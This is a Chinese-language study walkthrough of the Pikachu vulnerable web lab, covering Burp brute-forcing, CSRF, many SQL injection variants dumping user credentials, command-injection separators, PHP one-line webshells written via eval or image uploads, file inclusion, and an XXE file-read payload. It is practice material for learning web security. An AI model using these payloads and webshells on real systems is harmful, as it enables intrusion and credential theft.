001_pikachu
pikachu
一.暴力破解
001.基于表单的暴力破解
直接利用bp抓包,知道用户名就用狙击手,不知道直接集束炸弹
这里白盒测试,知道用户名,直接狙击手

爆破数据成功

这里介绍一下bp爆破的4个模式
| 狙击手 | 单点爆破 |
|---|---|
| 攻城追 | 账户密码相同 |
| 干草叉 | 多个payload,每次匹配都账户密码都是同一行的内容 |
| 集束炸弹 | 多个payload轮流尝试爆破 |
002.验证码绕过(on server)
其中验证码是一直可以生效的所以直接爆破即可
003.验证码绕过(on client)
一般都不会这样,让前端校验,直接爆破就好
004.token爆破
存在token值用来防爆破,进行bp的抓取

重点
需要添加token值来变化
首先使用干草叉模式使token每一行都随着密码变化而变化

在密码处添加的payload正常使用简单列表

在token的payload处使用递归查询

现在添加上述的规则和寻找首次token的value
点击setting或者设置

框框里面是什么样子,一开始是没有文件信息的,需要点击此处

在搜索框中寻找token或者value都可以,将此处的token值复制下来,黏贴到payload2中的首次请求payload

在添加后,还需要修改重定向
原因token值会改变,bp中的token需要跟随token改变而改变,bp在爆破失败时会跳转页面,但是token值会随着改变,所以需要将重定向改为总是

然后将复制到的token复制到payload中的首次初始化payload中

然后就可以爆破成功了


二.xss
略
三.csrf
001.get
bp收集到提交修改的url直接把url拿出来,进行修改

拿出来修改后直接可以进行访问,重点在真正的攻击中对方要打开网站
http://pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=1111&add=121&email=2&submit=submit

002.post

拉出来和url拼接起来即可使用
现在get和post请求的区别
| get | 向服务器获取数据 | 没有请求体,将内容拼接在url后在?后面 |
|---|---|---|
| post | 向服务器提交数据 | 将重要内容放在请求体中 |

003.csrf token
存在一个token值会随着网页的变化而变化,假如和上面get和post一样,使用一个静态的url给点击,那肯定会报错

现在需要个bp安装一个插件
最直接的方法直接用bp商店自带的就行,不要自己下


安装完之后,需要使用reqeater,但是reqeater的网页不能随着网站变化而变化token所以这个时候需要修改reqeater的设置

搜索follow是一个reqeater的一个重定向功能,修改为总是,这样就可以让reqeater的网页的token随着请求的失败改变而改变

现在改完再试就可以了
四.sql注入
001.第一关:数字型(联合注入)
已知数字型,选择数字会放回直接搞
用bp抓包,放到reqeater中

来到reqeater模块进行注入

2 order by 2
发现列长为2

2 union select 1,2
查看什么回显,其中1,2都有回显,所以想使用一些函数都可以,在其中返回结果

2 union select database(),2
报出数据库名为pikachu

2 union select group_concat(table_name),2 from information_schema.tables where table_name = database()
获取到我们的一些表名

查看最隐晦,感觉最危险的一个表名,进行获取列名
2 union select group_concat(column_name),2 from information_schema.columns where table_name = "users" -- > 这里的users需要“”因为这个一个字符用于筛选的,不是一个数据表的调用

这里还是看什么东西是我们最想知道的,看到username和password
直接搞他
2 union select username,password from users

002.第二关(布尔盲注)
字符型与第一关的数据型有异曲同工之出--使用布尔注入
因为在bp的reqeater中是使用url编码,直接使用正常语句会报404,所以需要把语句转换为url编码
原句:allen' and length(database())>1#
url:allen'%20and%20length(database())%3E1%23

直接就白盒测试吧
原句:allen' and length(database())=7#
url:allen'%20and%20length(database())%3D7%23
正确回显,证明数据长度为7没错

注意reqeater是在环境相同的时候进行手工的爆破,这里爆破数据库名就直接放在网页进行即可
接着就使用ascii()来单个爆破
原句:allen' and ascii(mid(database(),1,1))=115#
解析:mid中第一个1为这个数组的位置(也就是名字的第几个字符),第二个1代表选择几个字符为一个单位
用bp抓包,抓到包后就直接放到intruder进行狙击手爆破

进入intruder后选择集束炸弹模式再选择数值,第一个payload是爆破出数据库的长度,第二个paload是65~127,因为是使用ascii进行爆破所以从65开始到127结束(65:A,127:delete)

然后一个一个慢慢找,最后找到拼接起来的数据库名为pikachu

爆破出库名再爆破表的数量
原句:allen' and (select count(table_name) from information_schema.tables where table_schema=database())=5#
直接测试出来

爆破出表的数量后尝试爆破各个表名的长度
原句:allen' and length((select table_name from information_schema.tables where table_schema = database() limit 4,1 ))=5#
解释:limit offset,count
offset:从第几行开始
count:获取几行的信息
和上面爆破库名一样使用bp的reqeater,最后用这个方法找到需要的表名长为5

获取到需要爆破表名的长度,爆破表名
原句:allen' and ascii(mid((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=115#
设置两个payload,并且这个两个payload都是数值型,在这个环境下第一个payload的范围为1~5.第二个payload的范围为65~127

开始爆破,一个一个找,拼接起来为users

爆破到数据表名后,尝试获取数据有多少列
原句:allen' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=4#
不需要写length()函数,因为count()已经将数据统计好了

得到这个表中存在4个列,尝试爆破列名长度
原句:allen' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=3#
爆破到4个列名的长度分别为2,8,8,5

就直接报列名2
原句:allen' and ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),2,1))=115#
用bp抓包,放到intruder中,设置两个payload,两个payload都是数值型,在当前情况下第一个payload是列名的长度1~8,第二个是爆破的范围65~127

开始爆破,一个一个找,在拼接,最终得usersname,后面获取数据也相同,先爆破数据的长度,再bp爆破拼接所得字母合成一个单词输出,这里得列名为usersname

003.第三关(报错注入)
先找到用什么进行闭合,发现是多了一个)

这个是因为一整个语句是
select * from users where username = ('')
他是存在括号的,当我们输入allen'#,他不仅会注释'而且会把)也注释了
select * from users where username = ('allen' #') --> ('allen'
进而导致报错
现在输入
原句:allen')# 即可

现在我要使用报错注入来写这个模块
注意这是个白盒测试-->已知存在allen
原句:1' and extractvalue(1,concat(0x7e,database(),0x7e)))#
这里注意将0x7e变为~是16进制,0x是小写,不是大写0X

获取到数据库名后,尝试获取数据表名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#

看到有users,很敏感,直接搞,爆破列名
原句:1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)))#

发现一些敏感的列名,直接搞他
原句:1' and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#

随便找一个md5加密网站,解密一下

004.第4关insert/update注入
1.首先先确认传输的一个框架
像当前这个框架是
('2', '1', '', '', '', '')
2.然后前两个是必须填写的确保有两个信息
直接在第一个1处进行替换合并
输入 1','3')#
--> ('1','3')#’, '1', '', '', '', '')
--> ('1','3')#

直接使用这个payload不顾严谨,需要重新构建
1' and extractvalue(1,concat(0x7e,database(),0x7e)) and '2','3','4','5','6')#&password=6666&sex=&phonenum&email=&add=&submit=submit(❌)
1' and extractvalue(1,concat(0x7e,database(),0x7e)) and '','2','3','4','5','6')#&password=666666&sex=&phonenum&email=&add=&submit=submit(✔)

重点
1' and extractvalue(1,concat(0x7e,database(),0x7e)) and '2','3','4','5','6')#&password=6666&sex=&phonenum&email=&add=&submit=submit(❌)
1' and extractvalue(1,concat(0x7e,database(),0x7e)) and '','2','3','4','5','6')#&password=666666&sex=&phonenum&email=&add=&submit=submit(✔)
这两句话的区别:
因为mysql是允许表达式作为列值的,但是这里的三个and组成一个表达式,如果没有一个占位符的话,提交到后台的列数不对,就会报错
我们是为了完善逻辑才将列值全部写上,保证提交的完整性,同时确保列的数量正确
列数错误不给予反馈信息

剩下内容正常书写即可
005.delete删除注入
一个非常简单的url的sql注入,通过获取删除时的url(其实不用也行,只要在原本的url后再加上?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))
--> 就可以注入成功

006.“http header”
直接改http header请求,需要下载一个插件Modhttp/headers,其中的参数由bp抓包获取,在value尾部中添加'and extractvalue(1,concat(0x7e,database(),0x7e)) and'

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 ' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 ' or extractvalue(1,concat(0x7e,database(),0x7e)) or '
底下这个是报错的,因为在尾部不加入and,会导致User-Agent和后面的内容没有连接字符来接导致断层,导致解析的错误
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 'and extractvalue(1,concat(0x7e,database(),0x7e)) '
007.时间盲注
简单介绍时间盲注:界面返回之存在一种情况为True,无论输入什么内容都会当作正常情况处理,加入特定的事件函数,让web返回时间(响应时间)变为指定时间,判断是否存在注入点
爆破数据库长度:
1' and if((select length(database()))>1,sleep(3),1)#
1 and if(1=1,sleep(3),1)
成功了,但是响应的有点久

剩下的内容就修改select 后面的函数,在进行bp抓包爆破,即可得出数据库为pikachu,由于时间注入时间漫长所以不给予演示,如果要尝试,可以把返回为True的位置的sleep(3)与返回为False的1进行一个调换,速度会快很多
010.宽字节
简单介绍一下宽字节
区分宽字节和窄字节
| 窄字节 | 宽字节 |
|---|---|
| acsii范围0127,0x000x7F | acsii范围大于128,范围0x81~0xFE |
| 一个字节表示窄字节 | 两个字节表示宽字节,其中宽字节转义的标准为首字节大于0x81 |
现在来讲解一下在web面中使用php语言来传输sql数据库中,这里会利用三个三个函数character_set_client,character_set_connection,character_set_result
character_set_client --> 服务器接收到请求后会把客户端编码的字符串转换成连接层编码字符串
character_set_connection --> 对解码后的十六进制进行编码
character_set_resulr --> 编码进行输出
这里有一个可以在mysql中查看character_set的值
show create table news --> 查看是否设置了character_set
如果没有存在就使用数据库默认的DEFAULT CHARACTER_SET -- 版本不同而不同在
mysql5.5及之后:默认字符集是 latin1,排序规则是 latin1_swedish_ci
mysql8.0开始:默认字符集改成了 utf8mb4,排序规则是 utf8mb4_0900_ai_ci
对table_name等一系列字符的绕过方法:16进制-->0X加转化后的数值
宽字节注入
就是利用字符集,人工安插一个宽字节首字节保护一些特殊字符不会被转义,主要使用的是url进行替换正常的字符,这里举'这个特殊字符
' --> %27
\ --> %5C
人工在\前写一个%df
现在讲解一下为什么可以使用宽字节逃逸应用层的编程逻辑
首先输入kobe%df'#
数据库首先是确认字节流(也就是我们返送的数据转化为)
6B 6F 62 65 DF 27
6B 6F 62 65 --> kobe
DF 27 --> 運
因为%27是',但是被数据库的编码规则抢先一步将他定义为宽字节的尾字节,导致表面不和,但是逻辑不闭合
在后面可以加上sql语句可以运行
and database()
注意这里是在输入框中输入%df,输入框中输入到后端会进行一次url编码,但是%df已经是url编码,再进行一次url编码后,造成%df不是0x81的十六进制影响宽字节绕
%df --> %25df(没有达到宽字节首字节的标准>0x81) --> 从而导致数据库没有识别到在%27前,存在一个大于0x81的十六进制的url编码,进而进行普通的查看没有绕过应该层的包裹
lili%df'' or 1=1#,在输入框中进行操作必须进行bp抓包,然后修改%df的位置

之后放包

四.RCE漏洞
001.ping的RCE
记录一下:多句命令之间执行语句中间插入的符号
& --> commond1 & commond2 一起运行commond2不会等commond1运行完才允许,而是将commond1放放到后端执行
&& --> commond1 && commond2 判断语句,如果前面为真就运行后面的语句
|| --> commond1 || commond2 判断语句,如果前面为假就运行后面的语句
; --> commond1 ; commond2 当前面一个语句运行后无论是成功还是失败,后面的语句都会运行

002.eval的RCE
介绍eval函数
eval是可以把eval()中的字符串,在不同的语言中基本功能相同,就是执行给定的语句

phpinfo();
fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');

标准 C 写字符串/文件的函数
fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');(√)
fputs('<?php eval(@_POST["cmd"]);?>',fopen('payload.php','w'));(√)
fputs --> fputs(输入的字符串,输入到什么文件中)
fopen --> fopen('shell.php','w'),表示读取这个shell.php文件,如果没有就自动创建一个shell.php文件
五.文件包含
文件包含函数
| include() | 用于找文件,找不到文件就会产生致命错误并且会停止脚本运行 |
|---|---|
| require() | 用于找文件,找不到文件就会产生警告并且会停止脚本运行 |
| include_once() | 功能与上述相同,但是对一个文件指挥只有一次,循环使用也只会使用一次 |
| require_once() | 功能与上述相同,但是对一个文件指挥只有一次,循环使用也只会使用一次 |
001.文件上传(local)
只进行文件的读取,不能进行命令的执行
选择一个选线,用bp抓包,看到file有数字,就放到reqeater中就行手工测试,发现file6没有图片,大于6后就直接报错找不到,并且从中可以找到使用文件查找的函数为include()

现在知道查找的函数后,直接使用文件包含漏洞查看文件信息,可以配合文件上传的木马文件进行一个配合
在目录穿越时,注意所在目录位置,别“漂移”了

002.文件包含(remote)
注意文件所在位置,先报错一下,先礼后兵,看清位置后,直接穿越过去给他一拳,照打不误

六.文件上传
上传给定后缀的文件,蚁剑连上去就可以getshell
没营养,pass
前端修改文件路径
七.文件上传
001.前端认证
关闭前端认证,搜索about:config,关闭javascript.enable

可以上传

002.修改MIME逃逸,文件上传
选择.php文件上传,用bp抓包,修改MIME值为png或者jpeg/jpg,就可以骗过后端,上传成功

上传成功

访问这个文件,尝试蚁剑访问

蚁剑连接成功,成功getshell

用HackBar试一下

003.getimagesize
图片马亦有区别
1.伪开头图片马
GIF89a <?php @eval($_POST(["cmd"]);?>
用GIF图片文件开头充当图片开头,伪造成图片文件,再用文件包含函数查看,连接蚁剑 --> 文件包含回把文件的内容全部转化为php的,不管是什么什么文件结尾都一眼会被转化为php
GIF开头有:GIF89a,GIF87a
2.直接copy合并
copy 1.jpg/b+1.php/a 2.jpg
--> 将两个文件进行合并,谁放前面合并的文件就谁的内容在前面
直接使用合并的图片马才能会有一个弊端:
--> 就是图片的2进制文件和一句话木马贴的太近了,导致php编译器无法有效识别到一句话木马是在哪个位置开始的。
--> 只要图片的二进制中存在一点特殊符号,php编译器就会识别到,进而导致报错
现在有一个让copy合成的图片马相对稳定一点的方法:
--> 就是在一句话木马前添加一个换行(/n)
--> 这样就可以有效的区分开图片和一句话木马的位置,让php编译器就可以正确识别
开始复现


在使用前面文件包含模块,查看

蚁剑连接

八.越权
001.水平越权
通过登入是报错的信息,确认已有的账号,尝试利用确认用户信息的特征水平越权到不同的用户上
这里是usrname是特征

水平越权成功

002.垂直越权
感觉是遇不到的,因为这个肯定是需要超级管理员的权限,通过超级管理员的添加,删除的权限,过程中将管理员的cookie替换成普通用户的cookie(phpsesisd)
还要保证普通用户的phpsessid要存在,就是要再开一个网页来登入普通用户才可以,这个其实是一个逻辑漏洞

切换了,使用者的身份

九.目录遍历
确认目前所在位置,然后使用文件穿越,穿越到WWW目录下的phpinfo.txt文件

十.敏感信息泄露
没有什么,就是直接查看网页的源码,就可以看到一个测试账号
--> 查看源码,鼠标右键选项查看


十一.php反序列化
O:1:"S":1:{s:4:"test";s:31:"<script>alert("dowlo")</script>";}(×)
--> 因为应用层中也是使用""进行包裹,可能回导致有冲突
O:1:"S":1:{s:4:"test";s:31:"<script>alert('dowlo')</script>";} (√)
解释参数:
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
都是看源码长什么样,在已有php序列化源码中才能是实现

十二.URL不安全跳转
这里看着简单,但是还是需要注意一点,在改url时不能直接写域名,需要写http://或者https://,因为在bp中不会自动帮你写上这些内容


十三.XXE漏洞
xxe的格式
第一步,固定语法,声明这是一个xml格式的文件
--> <?xml version=1.0?> -->一般来说做靶场之类的1.0版本较多
第二步,文档类型定义DTD
--> <!DOCTYPE note[
--> 定义这类文档是note类型文档
--> <!ENTITY entity-name SYSTEM "URL/URL(文件路径)">
--> 这个是xml的外部实体说明有特定格式<!ENTITY entity-nameSYSTEM ....>
--> ]>
第三步,声明上述创建的文档中存在的元素,这个是静态写在代码中,供别的语言访问,运行的
--> <note>
--> <to>Dave</to>
--> <from>Tom</from>
--> <head>Reminder</head>
--> <body>You are a good boy</body>
--> </note>
XXE的使用DTD格式类型分为三类:内部,外部,公共
① 内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>
② 外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
③ 引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">
001.XXE漏洞
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY dowlo SYSTEM "file:///c:/windows/win.ini" >
]>
<kk>&dowlo;</kk>


浙公网安备 33010602011771号